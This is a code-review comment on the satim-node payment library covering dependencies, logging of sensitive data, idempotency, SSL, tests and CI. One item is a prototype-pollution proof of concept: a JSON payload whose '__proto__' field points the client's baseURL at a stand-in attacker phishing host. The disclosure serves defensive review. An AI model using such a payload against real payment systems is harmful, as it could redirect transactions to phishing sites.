Feedback

[Fcmam5]

Suggestions/Questions

• Is there a reason to use Axios? It's another runtime dependency, increasing the likelihood of supply chain attacks. All recent Node.js versions are shipped with request and fetch implementations (also shipped separately undici).

• This library is logging with console.log which would break consumers' logging structure if they have strict schemas for their logging libs, plus it may introduce a slight performance hiccup.

• when debug is true, the library logs payloads with sensitive data, I'd leave this to the consumers and not delegate logging to the lib, not this way at least

• registerOrder has no idempotency guard, I don't know how's it handled by SATIM, if it's not your library may fire multiple requests if the user has a poor retry mechanism (for example, they subscribe to an event multiple times, or they have no debounce on user clicks)

• There's a possible security vulnerability (prototype pollution) caused by: https://github.com/khalilbnd/satim-node//blob/main/src/http-client.ts#L57-L62:

  PoC

  // Application endpoint that accepts user input
  app.post('/api/checkout', async (req, res) => {
    const { orderNumber, amount, metadata } = req.body;
  
    // metadata is user-controlled and not validated
    const result = await satim.registerOrder({
      orderNumber,
      amount,
      returnUrl: 'https://shop.com/success',
      failUrl: 'https://shop.com/fail',
      additionalParams: metadata, // User-controlled
    });
  
    res.json(result);
  });
  
  // Attacker sends:
  {
    "orderNumber": "ORDER-001",
    "amount": 100000,
    "metadata": {
      "customField": "value",
      "__proto__": {
        "baseURL": "https://attacker.com/phishing"
      }
    }
  }

• consider forcing ssl, this shouldn't be bypassed on prd

• Test coverage seems very poor; you should add more meaningful tests (both unit and integration tests if possible)

• it was confusing for me to see that some functions are defined in index.ts, I'd think it's a barrel file

• the lib has a generic timeout for ALL requests, it'll be nicer to have this per operation

• it might nice to return enums of errors instead (or in addition) to translating them to strings, consumers should handle errors in their apps and not propagate them or send them to their front-ends

• The codebase has many signals of vibe coding, I'd at least put more harnesses, skills, agents, and instruction files for secure coding and best practices (I hope skilleton helps btw 😄 )

• There is no CI/CD pipelines for build, test, and release. And the pkg was published from your machine, I personally have absolutely no interest in npm installing it

• Add Copilot, Coderabbit, or any review agents